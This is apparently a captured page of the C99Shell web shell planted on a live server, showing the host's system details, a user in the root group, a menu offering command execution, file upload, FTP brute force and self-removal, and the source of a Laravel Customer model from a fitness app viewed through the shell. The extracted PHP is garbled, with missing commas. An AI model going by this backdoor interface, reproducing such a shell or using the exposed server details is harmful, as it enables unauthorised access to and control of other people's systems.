!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Customer.php (3.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Factories\HasFactory;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Foundation\Auth\User as Authenticatable;
use 
Illuminate\Notifications\Notifiable;
use 
Laravel\Sanctum\HasApiTokens;

class 
Customer extends Authenticatable
{
    use 
HasFactoryNotifiableHasApiTokens;

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'first_name''last_name''email''password','type''status''email_verified_at','added_by',
    ];

    
/**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    
protected $hidden = [
        
'password''remember_token',
    ];

    
/**
     * The attributes that should be cast to native types.
     *
     * @var array
     */
    
protected $casts = [
        
'email_verified_at' => 'datetime',
    ];

    protected 
$dates = ['created_at''updated_at'];

    public function 
getFullNameAttribute()
    {
        return 
"{$this->first_name} {$this->last_name}";
    }

    public function 
setPasswordAttribute($value)
    {
        
$this->attributes['password'] = bcrypt($value);
    }

    public function 
getStatusAttribute($value)
    {
        return 
ucfirst($value);
    }

    public function 
admin()
    {
        return 
$this->belongsTo(User::class, 'admin_id')->withDefault();
    }



    public function 
plan()
    {
//        dd(auth('customer')->user());
        
return $this->hasOne(CustomerPlan::class)->orderByDesc('created_at')->where('is_current''yes');
    }
    public function 
customer_plans (){
            return 
$this->hasMany(CustomerPlan::class);
    }
    

    public function 
settings()
    {
        return 
$this->hasMany(CustomerSettings::class);
    }



    public function 
plans()
    {
        return 
$this->hasMany(Plan::class, 'admin_id''id');
    }

    public function 
plan_requests(){
        return 
$this->hasMany(BillingRequest::class,'admin_id''id');
    }

    public function 
customers(){
        return 
$this->hasMany(Customer::class,'admin_id''id');
    }
    public function 
resellers(){
        return 
$this->hasMany(Customer::class,'admin_id''id')->where('type''reseller');
    }

    
//Customer Meal Plan
    
public function meal_plans(){
        return 
$this->hasMany(CustomerMealPlan::class, 'customer_id''id');
    }
    public function 
current_meal_plan(){
        return 
$this->hasOne(CustomerMealPlan::class, 'customer_id''id')->where('is_current''yes');
    }

    
//Customer Workout Plan
    
public function workout_plans(){
        return 
$this->hasMany(CustomerWorkoutPlan::class, 'customer_id''id');
    }
    public function 
current_workout_plan(){
        return 
$this->hasOne(CustomerWorkoutPlan::class, 'customer_id''id')->where('is_current''yes');
    }

    public function 
user(){
        return 
$this->belongsTo(User::class, 'added_by''id')->withDefault();
    } 
    public function 
customer_steps(){
        return 
$this->hasMany(CustomerStep::class,'customer_id''id');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--